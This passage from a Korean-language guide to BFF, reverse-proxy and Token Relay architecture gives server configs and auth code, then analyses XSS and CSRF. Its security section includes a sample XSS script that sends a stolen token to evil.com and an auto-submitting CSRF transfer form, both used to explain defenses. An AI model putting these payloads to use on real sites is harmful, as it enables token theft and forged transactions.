    add_header X-XSS-Protection "1; mode=block" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header Content-Security-Policy "default-src 'self'" always;

    # ── 정적 파일 (SPA) ──
    location / {
        root /usr/share/nginx/html;
        index index.html;
        try_files $uri $uri/ /index.html;  # SPA 클라이언트 라우팅 지원

        # 정적 파일 캐싱
        location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff2)$ {
            expires 1y;
            add_header Cache-Control "public, immutable";
        }
    }

    # ── API 프록시 → BFF 서버 ──
    location /api/ {
        proxy_pass http://bff_server;

        # 원본 클라이언트 정보 전달
        proxy_set_header Host              $host;
        proxy_set_header X-Real-IP         $remote_addr;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # 커넥션 재사용
        proxy_http_version 1.1;
        proxy_set_header Connection "";

        # 타임아웃
        proxy_connect_timeout 5s;
        proxy_read_timeout    30s;
        proxy_send_timeout    30s;

        # 버퍼링
        proxy_buffering on;
        proxy_buffer_size 8k;
        proxy_buffers 8 8k;
    }
}

# ── HTTP → HTTPS 리다이렉트 ──
server {
    listen 80;
    server_name app.example.com;
    return 301 https://$host$request_uri;
}

Caddy 설정 (Caddyfile)

app.example.com {
    # 정적 파일
    handle / {
        root * /srv/html
        try_files {path} /index.html
        file_server
    }

    # API 프록시 → BFF
    handle /api/* {
        reverse_proxy localhost:3000
    }

    # 보안 헤더
    header {
        X-Frame-Options DENY
        X-Content-Type-Options nosniff
        Strict-Transport-Security "max-age=31536000; includeSubDomains"
    }
}

Apache 설정

<VirtualHost *:443>
    ServerName app.example.com

    SSLEngine on
    SSLCertificateFile /etc/letsencrypt/live/app.example.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/app.example.com/privkey.pem

    # 정적 파일
    DocumentRoot /var/www/html
    <Directory /var/www/html>
        FallbackResource /index.html
    </Directory>

    # API 프록시
    ProxyPreserveHost On
    ProxyPass /api/ http://localhost:3000/api/
    ProxyPassReverse /api/ http://localhost:3000/api/

    # 보안 헤더
    Header always set X-Frame-Options DENY
    Header always set X-Content-Type-Options nosniff
</VirtualHost>

5.5 Same-Origin Reverse Proxy vs BFF

비교 항목 Same-Origin Reverse Proxy BFF
본질 인프라 설정 (dumb pipe) 애플리케이션 서버 (smart logic)
구현 방식 nginx/Caddy 설정 파일 Node.js/Spring Boot 등 별도 앱
비즈니스 로직 없음 (경로 매핑만) 있음 (집계, 변환, 캐싱)
데이터 변환 불가 가능 (클라이언트 최적화)
다중 서비스 집계 불가 (1:1 라우팅만) 가능 (N개 서비스 → 1 응답)
인증 처리 패스스루 (그대로 전달) Token Relay (쿠키→토큰 변환)
배포/변경 설정 리로드 앱 배포
팀 소유 인프라/DevOps 팀 프론트엔드/기능 팀
함께 사용 BFF 앞에 배치하여 시너지 Reverse Proxy 뒤에서 동작

핵심 차이: Reverse Proxy는 요청을 있는 그대로 전달(pass-through)하는 “멍청한 파이프(dumb pipe)”이고, BFF는 요청을 이해하고 변환하는 “똑똑한 중개자(smart mediator)”이다.


6. Token Relay Pattern 심층 분석

6.1 정의와 동작 원리

공식 정의 (Spring Cloud Gateway):

“An OAuth2 consumer acting as a Client can relay the incoming token to outgoing resource requests. The consumer can be any application that has the token, and the token is relayed by passing it as a Bearer token in the outgoing request.”

즉, OAuth2 소비자(Consumer)가 수신한 토큰을 변형 없이 하위 리소스 서비스에 전달(relay)하는 것.

BFF 맥락에서의 확장 정의:

브라우저가 보낸 세션 쿠키(Session Cookie)로부터 서버 세션에 저장된 Access Token을 조회하고, 이를 Authorization: Bearer 헤더로 주입하여 하위 마이크로서비스에 전달하는 패턴.

변환 흐름도:

Browser                    BFF Server                    Microservice
  │                           │                              │
  │  GET /api/orders          │                              │
  │  Cookie: __Host-sid=xyz   │                              │
  │──────────────────────────▶│                              │
  │                           │                              │
  │                     ┌─────┴─────┐                        │
  │                     │ Session   │                        │
  │                     │ Store     │                        │
  │                     │           │                        │
  │                     │ xyz →     │                        │
  │                     │  access_  │                        │
  │                     │  token:   │                        │
  │                     │  "eyJhb.."│                        │
  │                     └─────┬─────┘                        │
  │                           │                              │
  │                           │  GET /orders                 │
  │                           │  Authorization: Bearer eyJhb..│
  │                           │─────────────────────────────▶│
  │                           │                              │
  │                           │  200 OK                      │
  │                           │  [{"id":1,"item":"..."}]     │
  │                           │◀─────────────────────────────│
  │                           │                              │
  │  200 OK                   │                              │
  │  [{"id":1,"item":"..."}]  │                              │
  │◀──────────────────────────│                              │

6.2 왜 필요한가: 토큰 저장 딜레마

저장 위치 XSS 취약 CSRF 취약 탭 간 공유 토큰 노출 보안 등급
localStorage 취약 (JS 접근 가능) 안전 공유됨 브라우저에 노출 낮음
sessionStorage 취약 (JS 접근 가능) 안전 불가 브라우저에 노출 낮음
일반 Cookie 취약 (JS 접근 가능) 취약 공유됨 브라우저에 노출 낮음
HttpOnly Cookie 안전 (JS 접근 불가) 주의 필요 공유됨 토큰이 쿠키 값 중간
BFF 서버 세션 안전 SameSite로 방어 공유됨 서버에만 존재 최고

핵심 통찰: 브라우저는 본질적으로 신뢰할 수 없는 실행 환경이다. JavaScript가 실행될 수 있는 곳에 민감한 토큰을 두면, XSS 하나로 모든 토큰이 탈취된다. 토큰은 서버에만 존재해야 한다.

BFF 서버 세션 방식에서 브라우저가 받는 것은 불투명한 세션 ID(HttpOnly 쿠키)뿐이다. 이 세션 ID로는 마이크로서비스에 직접 접근할 수 없으므로, 탈취되더라도 공격 범위가 제한된다.

6.3 OAuth 2.0 Authorization Code Flow에서의 위치

10단계 상세 흐름도:

Browser              BFF Server           IdP (Keycloak 등)     Microservice
  │                     │                      │                    │
  │ 1. GET /login       │                      │                    │
  │────────────────────▶│                      │                    │
  │                     │                      │                    │
  │ 2. 302 Redirect     │                      │                    │
  │   → /authorize?     │                      │                    │
  │     client_id=bff&  │                      │                    │
  │     response_type=  │                      │                    │
  │     code&           │                      │                    │
  │     code_challenge= │                      │                    │
  │     <PKCE>&         │                      │                    │
  │     redirect_uri=   │                      │                    │
  │     /callback       │                      │                    │
  │◀────────────────────│                      │                    │
  │                     │                      │                    │
  │ 3. 사용자 로그인 화면 표시                   │                    │
  │─────────────────────────────────────────▶ │                    │
  │                     │                      │                    │
  │ 4. 사용자 인증 (ID/PW, MFA 등)              │                    │
  │─────────────────────────────────────────▶ │                    │
  │                     │                      │                    │
  │ 5. 302 Redirect     │                      │                    │
  │   → /callback?      │                      │                    │
  │     code=AUTH_CODE   │                      │                    │
  │◀─────────────────────────────────────────  │                    │
  │                     │                      │                    │
  │ 6. GET /callback?   │                      │                    │
  │   code=AUTH_CODE     │                      │                    │
  │────────────────────▶│                      │                    │
  │                     │                      │                    │
  │                     │ 7. POST /token       │                    │
  │                     │   grant_type=        │                    │
  │                     │   authorization_code │                    │
  │                     │   code=AUTH_CODE     │                    │
  │                     │   code_verifier=     │                    │
  │                     │   <PKCE>             │                    │
  │                     │   client_secret=***  │                    │
  │                     │──────────────────────▶│                    │
  │                     │                      │                    │
  │                     │ 8. 200 OK            │                    │
  │                     │   {access_token,     │                    │
  │                     │    refresh_token,    │                    │
  │                     │    id_token}         │                    │
  │                     │◀─────────────────────│                    │
  │                     │                      │                    │
  │                     │ [세션에 토큰 저장]     │                    │
  │                     │                      │                    │
  │ 9. 302 Redirect → / │                      │                    │
  │   Set-Cookie:       │                      │                    │
  │   __Host-sid=xyz;   │                      │                    │
  │   HttpOnly; Secure; │                      │                    │
  │   SameSite=Lax;     │                      │                    │
  │   Path=/            │                      │                    │
  │◀────────────────────│                      │                    │
  │                     │                      │                    │
  │ 10. GET /api/data   │                      │                    │
  │   Cookie: xyz       │           ┌──────────────────────────┐    │
  │────────────────────▶│           │   TOKEN RELAY 발동!       │    │
  │                     │           │   Cookie xyz              │    │
  │                     │           │   → Session에서 조회      │    │
  │                     │           │   → Bearer eyJhb.. 주입   │    │
  │                     │           └──────────────────────────┘    │
  │                     │   GET /data                               │
  │                     │   Authorization: Bearer eyJhb..           │

  │                     │──────────────────────────────────────────▶│
  │                     │                                           │
  │                     │   200 OK {data}                           │
  │                     │◀──────────────────────────────────────────│
  │ 200 OK {data}       │                                           │
  │◀────────────────────│                                           │

Token Relay가 발동하는 구간: 10단계에서 발동. 브라우저의 Session Cookie(xyz)를 서버 세션에서 Access Token(eyJhb..)으로 변환하여 Authorization 헤더에 주입.

6.4 Spring Cloud Gateway의 TokenRelay 구현체

TokenRelayGatewayFilterFactory 동작 원리:

요청 수신
  │
  ▼
SecurityContext에서 OAuth2AuthenticationToken 추출
  │
  ▼
ReactiveOAuth2AuthorizedClientManager로 AuthorizedClient 조회
  │
  ▼
Access Token 만료 확인
  │  ├─ 만료됨 → Refresh Token으로 자동 갱신
  │  └─ 유효함 → 그대로 사용
  ▼
요청 헤더에 Authorization: Bearer <token> 주입
  │
  ▼
하위 서비스로 요청 전달 (relay)

YAML 설정:

spring:
  cloud:
    gateway:
      routes:
        - id: resource-service
          uri: http://resource-service:8080
          predicates:
            - Path=/api/resources/**
          filters:
            - TokenRelay          # ← 이 한 줄로 Token Relay 활성화
            - StripPrefix=1

      # 모든 라우트에 기본 적용 시
      default-filters:
        - TokenRelay

  security:
    oauth2:
      client:
        registration:
          keycloak:
            client-id: bff-client
            client-secret: ${CLIENT_SECRET}
            scope: openid,profile,email
            authorization-grant-type: authorization_code
            redirect-uri: "{baseUrl}/login/oauth2/code/{registrationId}"
        provider:
          keycloak:
            issuer-uri: https://idp.example.com/realms/my-realm

Java DSL 설정:

@Bean
public RouteLocator customRouteLocator(RouteLocatorBuilder builder) {
    return builder.routes()
        .route("resource-service", r -> r
            .path("/api/resources/**")
            .filters(f -> f
                .tokenRelay()           // ← Token Relay 필터
                .stripPrefix(1))
            .uri("http://resource-service:8080"))
        .build();
}

내부 클래스 관계:

TokenRelayGatewayFilterFactory
  └── implements GatewayFilterFactory
  └── uses ReactiveOAuth2AuthorizedClientManager
        └── uses ReactiveOAuth2AuthorizedClientService
              └── manages OAuth2AuthorizedClient
                    ├── accessToken (AccessToken)
                    └── refreshToken (RefreshToken)

6.5 Token Relay vs Token Exchange (RFC 8693)

비교 항목 Token Relay Token Exchange (RFC 8693)
동작 받은 토큰을 그대로 전달 받은 토큰으로 새 토큰 발급
토큰 변경 없음 (pass-through) 있음 (scope, audience 변경 가능)
표준화 관행/패턴 수준 RFC 8693 (2020년 1월 표준화)
IdP 호출 없음 (세션에서 조회만) 있음 (매 요청마다 IdP 호출 가능)
레이턴시 낮음 상대적으로 높음 (추가 네트워크 호출)
scope 축소 불가 (원본 그대로) 가능 (최소 권한 원칙 적용)
사용 시점 BFF → 내부 서비스 (신뢰 구간) 서비스 → 서비스 (scope 제한 필요 시)
구현 복잡도 낮음 높음
grant_type 해당 없음 urn:ietf:params:oauth:grant-type:token-exchange
Token Relay:
  BFF ──[원본 토큰 그대로]──▶ Service A

Token Exchange:
  Service A ──[원본 토큰]──▶ IdP ──[새 토큰 (scope 축소)]──▶ Service A
  Service A ──[새 토큰]──▶ Service B

6.6 다양한 게이트웨이 구현

Spring Cloud Gateway (위 6.4절 참조):

  • TokenRelay 필터로 선언적 처리
  • ReactiveOAuth2AuthorizedClientManager로 토큰 자동 갱신

Kong Gateway (OpenID Connect 플러그인):

plugins:
  - name: openid-connect
    config:
      issuer: https://idp.example.com/realms/my-realm
      client_id: kong-client
      client_secret: ${CLIENT_SECRET}
      auth_methods:
        - session        # 세션 쿠키 기반 인증
      upstream_access_token_header: Authorization  # ← Token Relay
      session_cookie_name: session
      session_cookie_samesite: Lax
      session_cookie_httponly: true

Envoy Proxy (OAuth2 필터):

http_filters:
  - name: envoy.filters.http.oauth2
    typed_config:
      "@type": type.googleapis.com/envoy.extensions.filters.http.oauth2.v3.OAuth2
      config:
        token_endpoint:
          cluster: idp
          uri: https://idp.example.com/token
        authorization_endpoint: https://idp.example.com/authorize
        redirect_uri: "%REQ(:scheme)%://%REQ(:authority)%/callback"
        redirect_path_matcher:
          path:
            exact: /callback
        signout_path:
          path:
            exact: /signout
        credentials:
          client_id: envoy-client
          token_secret:
            name: token
          hmac_secret:
            name: hmac
        forward_bearer_token: true  # ← Token Relay 활성화

7. 세 패턴의 통합 아키텍처

7.1 전체 흐름도

┌─────────────────────────────────────────────────────────────────────────────┐
│                        app.example.com (Single Origin)                      │
│                                                                             │
│  ┌──────────┐    ┌──────────────────────────────────────────────────────┐   │
│  │          │    │            Reverse Proxy (nginx)                     │   │
│  │ Browser  │───▶│                                                      │   │
│  │          │◀───│  /         → SPA 정적 파일                           │   │
│  │ Cookie:  │    │  /api/*    → BFF Server (localhost:3000)             │   │
│  │ __Host-  │    │  /auth/*   → BFF Server (localhost:3000)             │   │
│  │ sid=xyz  │    └─────────────────────────┬────────────────────────────┘   │
│  └──────────┘                              │                                │
│      ▲                                     ▼                                │
│      │                    ┌─────────────────────────────────┐               │
│      │                    │         BFF Server               │               │
│      │ Set-Cookie:        │                                  │               │
│      │ __Host-sid=xyz;    │  ┌─────────────────────────┐    │               │
│      │ HttpOnly;          │  │    Session Store          │    │               │
│      │ Secure;            │  │    (Redis/Memory)         │    │               │
│      │ SameSite=Lax       │  │                           │    │               │
│      └────────────────────│  │  sid:xyz → {              │    │               │
│                           │  │    access_token: "eyJ..", │    │               │
│                           │  │    refresh_token: "dGh..",│    │               │
│                           │  │    expires_at: 170000..   │    │               │
│                           │  └──────────┬──────────────┘    │               │
│                           │             │ Token Relay        │               │
│                           │             ▼                    │               │
│                           │  Authorization: Bearer eyJ..     │               │
│                           └──────────┬──────────────────────┘               │
└──────────────────────────────────────┼──────────────────────────────────────┘
                                       │
                      ┌────────────────┼─────────────────┐
                      ▼                ▼                  ▼
               ┌───────────┐   ┌───────────┐    ┌───────────┐
               │ User      │   │ Order     │    │ Product   │
               │ Service   │   │ Service   │    │ Service   │
               │ :8080     │   │ :8081     │    │ :8082     │
               └───────────┘   └───────────┘    └───────────┘

7.2 인증 흐름 (Authorization Code + PKCE) - 8단계

단계 주체 동작 기술 요소
1 Browser → BFF 로그인 버튼 클릭 → GET /auth/login Same-Origin (쿠키 자동)
2 BFF → Browser 302 Redirect → IdP /authorize 엔드포인트 code_challenge (PKCE), state (CSRF)
3 Browser → IdP 사용자 로그인 화면 표시, 인증 수행 ID/PW, MFA, Social Login
4 IdP → Browser 302 Redirect → BFF /auth/callback?code=... Authorization Code (일회용)
5 Browser → BFF GET /auth/callback?code=AUTH_CODE Same-Origin (자동)
6 BFF → IdP POST /token (code + client_secret + code_verifier) Confidential Client - 비밀키 서버에만 존재
7 BFF Access/Refresh Token을 서버 세션에 저장 Redis, DB, In-Memory
8 BFF → Browser Set-Cookie: __Host-sid=xyz; HttpOnly; Secure; SameSite=Lax 불투명 세션 ID만 전달

이후 모든 API 요청에서 Token Relay 발동: Cookie → Session → Bearer Token.

7.3 프레임워크별 완전 구현 예시

Next.js (App Router)

로그인 엔드포인트 (app/api/auth/login/route.ts):

import { NextResponse } from 'next/server';
import { generateCodeVerifier, generateCodeChallenge } from '@/lib/pkce';
import { sessionStore } from '@/lib/session';

export async function GET() {
  const state = crypto.randomUUID();
  const codeVerifier = generateCodeVerifier();
  const codeChallenge = await generateCodeChallenge(codeVerifier);

  // 임시로 state/verifier를 서버에 저장
  await sessionStore.set(`state:${state}`, { codeVerifier }, { ttl: 300 });

  const params = new URLSearchParams({
    response_type: 'code',
    client_id: process.env.OIDC_CLIENT_ID!,
    redirect_uri: `${process.env.APP_URL}/api/auth/callback`,
    scope: 'openid profile email',
    state,
    code_challenge: codeChallenge,
    code_challenge_method: 'S256',
  });

  return NextResponse.redirect(
    `${process.env.OIDC_ISSUER}/protocol/openid-connect/auth?${params}`
  );
}

콜백 엔드포인트 (app/api/auth/callback/route.ts):

import { NextRequest, NextResponse } from 'next/server';
import { sessionStore } from '@/lib/session';

export async function GET(request: NextRequest) {
  const { searchParams } = new URL(request.url);
  const code = searchParams.get('code')!;
  const state = searchParams.get('state')!;

  // CSRF 검증
  const stored = await sessionStore.get(`state:${state}`);
  if (!stored) return NextResponse.json({ error: 'Invalid state' }, { status: 400 });

  // Authorization Code → Token 교환
  const tokenResponse = await fetch(
    `${process.env.OIDC_ISSUER}/protocol/openid-connect/token`,
    {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: new URLSearchParams({
        grant_type: 'authorization_code',
        code,
        redirect_uri: `${process.env.APP_URL}/api/auth/callback`,
        client_id: process.env.OIDC_CLIENT_ID!,
        client_secret: process.env.OIDC_CLIENT_SECRET!,
        code_verifier: stored.codeVerifier,
      }),
    }
  );

  const tokens = await tokenResponse.json();
  // { access_token, refresh_token, id_token, expires_in }

  // 세션에 토큰 저장
  const sessionId = crypto.randomUUID();
  await sessionStore.set(`session:${sessionId}`, {
    accessToken: tokens.access_token,
    refreshToken: tokens.refresh_token,
    expiresAt: Date.now() + tokens.expires_in * 1000,
  });

  // 불투명 세션 쿠키 발급
  const response = NextResponse.redirect(new URL('/', request.url));
  response.cookies.set('__Host-sid', sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    path: '/',
    maxAge: 60 * 60 * 24, // 24시간
  });

  return response;
}

Token Relay 프록시 (app/api/proxy/[...path]/route.ts):

import { NextRequest, NextResponse } from 'next/server';
import { sessionStore } from '@/lib/session';

async function proxyRequest(request: NextRequest, { params }: { params: { path: string[] } }) {
  const sessionId = request.cookies.get('__Host-sid')?.value;
  if (!sessionId) {
    return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
  }

  const session = await sessionStore.get(`session:${sessionId}`);
  if (!session) {
    return NextResponse.json({ error: 'Session expired' }, { status: 401 });
  }

  // Token Relay: 세션에서 Access Token 추출 → Bearer 헤더 주입
  let { accessToken, refreshToken, expiresAt } = session;

  // 토큰 만료 시 자동 갱신
  if (Date.now() > expiresAt - 30000) { // 30초 여유
    const refreshed = await refreshAccessToken(refreshToken);
    accessToken = refreshed.access_token;
    await sessionStore.set(`session:${sessionId}`, {
      accessToken: refreshed.access_token,
      refreshToken: refreshed.refresh_token || refreshToken,
      expiresAt: Date.now() + refreshed.expires_in * 1000,
    });
  }

  // 하위 마이크로서비스로 프록시
  const targetUrl = `${process.env.BACKEND_URL}/${params.path.join('/')}`;
  const response = await fetch(targetUrl, {
    method: request.method,
    headers: {
      'Authorization': `Bearer ${accessToken}`,  // ← Token Relay!
      'Content-Type': request.headers.get('content-type') || 'application/json',
    },
    body: request.method !== 'GET' ? await request.text() : undefined,
  });

  return new NextResponse(response.body, {
    status: response.status,
    headers: { 'Content-Type': response.headers.get('content-type') || 'application/json' },
  });
}

export const GET = proxyRequest;
export const POST = proxyRequest;
export const PUT = proxyRequest;
export const DELETE = proxyRequest;

Middleware 인증 보호 (middleware.ts):

import { NextRequest, NextResponse } from 'next/server';

const PROTECTED_PATHS = ['/api/proxy', '/dashboard', '/settings'];
const PUBLIC_PATHS = ['/api/auth', '/login', '/_next', '/favicon.ico'];

export function middleware(request: NextRequest) {
  const { pathname } = request.nextUrl;

  // 공개 경로는 통과
  if (PUBLIC_PATHS.some(p => pathname.startsWith(p))) {
    return NextResponse.next();
  }

  // 보호 경로에서 세션 쿠키 확인
  if (PROTECTED_PATHS.some(p => pathname.startsWith(p))) {
    const sessionId = request.cookies.get('__Host-sid')?.value;
    if (!sessionId) {
      if (pathname.startsWith('/api/')) {
        return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
      }
      return NextResponse.redirect(new URL('/login', request.url));
    }
  }

  return NextResponse.next();
}

Spring Cloud Gateway + TokenRelay

application.yml 완전 설정:

server:
  port: 8080

spring:
  application:
    name: bff-gateway

  # ── 세션 저장소 (Redis) ──
  session:
    store-type: redis
    redis:
      namespace: bff:session
    timeout: 30m

  # ── Redis 연결 ──
  data:
    redis:
      host: localhost
      port: 6379

  # ── OAuth2 클라이언트 설정 ──
  security:
    oauth2:
      client:
        registration:
          keycloak:
            client-id: bff-gateway
            client-secret: ${OIDC_CLIENT_SECRET}
            scope: openid, profile, email
            authorization-grant-type: authorization_code
            redirect-uri: "{baseUrl}/login/oauth2/code/{registrationId}"
        provider:
          keycloak:
            issuer-uri: https://idp.example.com/realms/my-realm

  # ── Gateway 라우트 ──
  cloud:
    gateway:
      # 모든 라우트에 Token Relay 기본 적용
      default-filters:
        - TokenRelay
        - DedupeResponseHeader=Access-Control-Allow-Origin

      routes:
        - id: user-service
          uri: http://user-service:8080
          predicates:
            - Path=/api/users/**
          filters:
            - StripPrefix=1

        - id: order-service
          uri: http://order-service:8081
          predicates:
            - Path=/api/orders/**
          filters:
            - StripPrefix=1

        - id: product-service
          uri: http://product-service:8082
          predicates:
            - Path=/api/products/**
          filters:
            - StripPrefix=1

# ── SPA 정적 파일 (선택: nginx에서 처리 시 불필요) ──
# spring.web.resources.static-locations: classpath:/static/

의존성 (build.gradle.kts):

dependencies {
    implementation("org.springframework.cloud:spring-cloud-starter-gateway")
    implementation("org.springframework.boot:spring-boot-starter-oauth2-client")
    implementation("org.springframework.session:spring-session-data-redis")
    implementation("org.springframework.boot:spring-boot-starter-data-redis-reactive")
}

Express.js + http-proxy-middleware

import express from 'express';
import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';
import { createProxyMiddleware } from 'http-proxy-middleware';
import passport from 'passport';
import { Strategy as OIDCStrategy } from 'passport-openidconnect';

const app = express();

// ── Redis 세션 ──
const redisClient = createClient({ url: 'redis://localhost:6379' });
await redisClient.connect();

app.use(session({
  store: new RedisStore({ client: redisClient, prefix: 'bff:' }),
  name: '__Host-sid',
  secret: process.env.SESSION_SECRET!,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    path: '/',
    maxAge: 24 * 60 * 60 * 1000, // 24시간
  },
}));

// ── Passport OIDC ──
app.use(passport.initialize());
app.use(passport.session());

passport.use(new OIDCStrategy({
  issuer: process.env.OIDC_ISSUER!,
  authorizationURL: `${process.env.OIDC_ISSUER}/protocol/openid-connect/auth`,
  tokenURL: `${process.env.OIDC_ISSUER}/protocol/openid-connect/token`,
  clientID: process.env.OIDC_CLIENT_ID!,
  clientSecret: process.env.OIDC_CLIENT_SECRET!,
  callbackURL: '/auth/callback',
  scope: 'openid profile email',
  pkce: true,
}, (issuer, profile, context, idToken, accessToken, refreshToken, done) => {
  // 세션에 토큰 저장
  const user = {
    id: profile.id,
    name: profile.displayName,
    accessToken,
    refreshToken,
    expiresAt: Date.now() + 3600 * 1000,
  };
  done(null, user);
}));

passport.serializeUser((user: any, done) => done(null, user));
passport.deserializeUser((user: any, done) => done(null, user));

// ── 인증 라우트 ──
app.get('/auth/login', passport.authenticate('openidconnect'));
app.get('/auth/callback',
  passport.authenticate('openidconnect', { failureRedirect: '/login' }),
  (req, res) => res.redirect('/')
);

// ── 인증 미들웨어 ──
function requireAuth(req: any, res: any, next: any) {
  if (!req.isAuthenticated()) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  next();
}

// ── Token Relay 프록시 ──
app.use('/api', requireAuth, createProxyMiddleware({
  target: 'http://backend-service:8080',
  changeOrigin: true,
  pathRewrite: { '^/api': '' },
  on: {
    proxyReq: (proxyReq, req: any) => {
      // ★ Token Relay: 세션에서 Access Token → Bearer 헤더 주입
      if (req.user?.accessToken) {
        proxyReq.setHeader('Authorization', `Bearer ${req.user.accessToken}`);
      }
      // 세션 쿠키는 하위 서비스에 전달하지 않음
      proxyReq.removeHeader('cookie');
    },
  },
}));

app.listen(3000, () => console.log('BFF running on :3000'));

nginx (OAuth2 Proxy 통합)

server {
    listen 443 ssl http2;
    server_name app.example.com;

    ssl_certificate     /etc/letsencrypt/live/app.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/app.example.com/privkey.pem;

    # ── OAuth2 Proxy로 인증 위임 ──
    location /oauth2/ {
        proxy_pass http://oauth2-proxy:4180;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }

    # ── 인증 검증 서브리퀘스트 ──
    location = /oauth2/auth {
        internal;
        proxy_pass http://oauth2-proxy:4180;
        proxy_pass_request_body off;
        proxy_set_header Content-Length "";
        proxy_set_header X-Original-URI $request_uri;
    }

    # ── SPA 정적 파일 ──
    location / {
        root /usr/share/nginx/html;
        try_files $uri $uri/ /index.html;
    }

    # ── API 프록시 (OAuth2 Proxy 인증 + Token Relay) ──
    location /api/ {
        # 인증 검증
        auth_request /oauth2/auth;
        auth_request_set $token $upstream_http_x_auth_request_access_token;

        # Token Relay: OAuth2 Proxy에서 받은 토큰을 Bearer 헤더로 주입
        proxy_set_header Authorization "Bearer $token";

        # 세션 쿠키는 하위 서비스에 전달하지 않음
        proxy_set_header Cookie "";

        proxy_pass http://backend-service:8080/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

8. 보안 심층 분석

8.1 XSS와 HttpOnly

XSS(Cross-Site Scripting) 공격 시나리오:

1. 공격자가 악성 스크립트를 게시판 등에 삽입:
   <script>
     fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
   </script>

2. 피해자가 해당 페이지 방문

3. 악성 스크립트 실행:
   - localStorage에서 Access Token 탈취
   - 공격자 서버로 토큰 전송
   - 공격자가 피해자처럼 API 호출 가능

HttpOnly 방어:

Set-Cookie: __Host-sid=abc123; HttpOnly; Secure; SameSite=Lax

XSS 공격 시도:
  document.cookie → "__Host-sid" 쿠키가 보이지 않음!
  localStorage.getItem('access_token') → null! (토큰은 서버에만 존재)

결과:
  - 세션 쿠키 탈취 불가 (HttpOnly)
  - Access Token 탈취 불가 (서버 세션에만 존재)
  - XSS로 인한 토큰 유출 경로 차단

주의: HttpOnly는 XSS 시 토큰 탈취를 방지하지만, 세션 내 API 악용은 방지하지 못한다. XSS 스크립트가 fetch('/api/transfer?amount=10000&to=attacker')를 실행하면 Same-Origin이므로 쿠키가 자동 전송된다. 따라서 XSS 자체를 방지하는 것(CSP, 입력 검증, 출력 인코딩)이 1차 방어선이며, HttpOnly는 2차 방어선이다.

8.2 CSRF와 SameSite

CSRF(Cross-Site Request Forgery) 공격 시나리오:

1. 피해자가 bank.example.com에 로그인 상태 (세션 쿠키 보유)

2. 공격자 사이트 evil.com에 방문:
   <form action="https://bank.example.com/api/transfer" method="POST">
     <input type="hidden" name="to" value="attacker" />
     <input type="hidden" name="amount" value="10000" />
   </form>
   <script>document.forms[0].submit();</script>

3. 브라우저가 자동으로:
   - bank.example.com으로 POST 요청
   - 세션 쿠키 자동 포함 (Same-Site가 아닌 경우)
   - 서버는 정상 요청으로 인식 → 이체 실행

3가지 CSRF 방어 전략:

전략 구현 장점 단점
SameSite=Strict 쿠키 Set-Cookie: ...; SameSite=Strict 자동 방어, 설정 간단 외부 링크로 접속 시 로그아웃 상태처럼 보임
SameSite=Lax + 커스텀 헤더 X-CSRF: 1 또는 X-Requested-With: fetch Lax로 UX 유지 + CSRF 방어 프론트엔드 코드에 헤더 추가 필요
CSRF 토큰 (Synchronizer Token) 서버가 토큰 발급, 폼에 포함 가장 전통적, 검증된 방법 상태 관리 복잡, SPA와 궁합 나쁨

Duende BFF의 커스텀 헤더 방식: .NET 생태계의 Duende BFF 프레임워크는 커스텀 헤더 검증 방식을 사용한다.

모든 BFF 엔드포인트 호출 시:
  fetch('/api/data', {
    headers: { 'X-CSRF': '1' }  // 커스텀 헤더
  });

서버 측:
  if (!request.headers['x-csrf']) {
    return 403; // CSRF 의심 → 거부
  }

원리: <form> 태그나 <img> 태그로는 커스텀 헤더를 설정할 수 없다. 오직 JavaScript의 fetch()XMLHttpRequest만 가능한데, 이들은 SOP 제약을 받으므로, 다른 Origin에서는 커스텀 헤더를 포함한 요청을 보낼 수 없다.

8.3 토큰 서버 측 저장의 이점

저장 위치 XSS 토큰 탈취 CSRF 토큰 폐기 Refresh 가능 오프라인 탈취
localStorage 가능 해당 없음 불가 (클라이언트) 수동 구현 개발자 도구로 가능
sessionStorage 가능 해당 없음 탭 닫으면 삭제 수동 구현 개발자 도구로 가능
HttpOnly Cookie (토큰 직접) 불가 취약 쿠키 삭제만 쿠키에 refresh_token도 필요 불가
BFF 서버 세션 불가 SameSite로 방어 즉시 가능 (세션 삭제) 서버에서 자동 불가

BFF 서버 세션의 장점 요약:

  1. 토큰이 브라우저에 절대 노출되지 않음 → XSS로 인한 토큰 탈취 원천 차단
  2. 즉시 세션 폐기 가능 → 서버에서 세션 삭제하면 즉시 로그아웃 (JWT의 만료 대기 문제 없음)
  3. 토큰 자동 갱신 → Refresh Token도 서버에 있으므로 투명한 갱신
  4. 감사 로그 → 모든 토큰 사용이 서버를 경유하므로 완전한 감사 추적 가능

8.4 쿠키 보안 Best Practice

완전한 쿠키 설정:

Set-Cookie: __Host-sid=<opaque-session-id>;
            HttpOnly;          ← JS 접근 차단 (XSS 방어)
            Secure;            ← HTTPS 전용 (도청 방어)
            SameSite=Lax;      ← 크로스사이트 전송 제한 (CSRF 방어)
            Path=/;            ← 전체 경로에서 유효
            Max-Age=86400      ← 24시간 만료

__Host- 접두사의 역할:

일반 쿠키:
  Set-Cookie: sid=abc; Domain=.example.com
  → sub.example.com에서도 접근 가능
  → 서브도메인이 탈취되면 쿠키도 탈취됨!

__Host- 접두사:
  Set-Cookie: __Host-sid=abc; Secure; Path=/
  → Domain 속성 설정 불가 (브라우저가 강제)
  → 발급한 정확한 호스트에서만 유효
  → 서브도메인 탈취 공격 방어

쿠키 vs 세션 내용물 분리 원칙:

잘못된 방식:
  Set-Cookie: token=eyJhbGciOiJSUzI1NiIs...  ← 토큰이 쿠키에 직접!
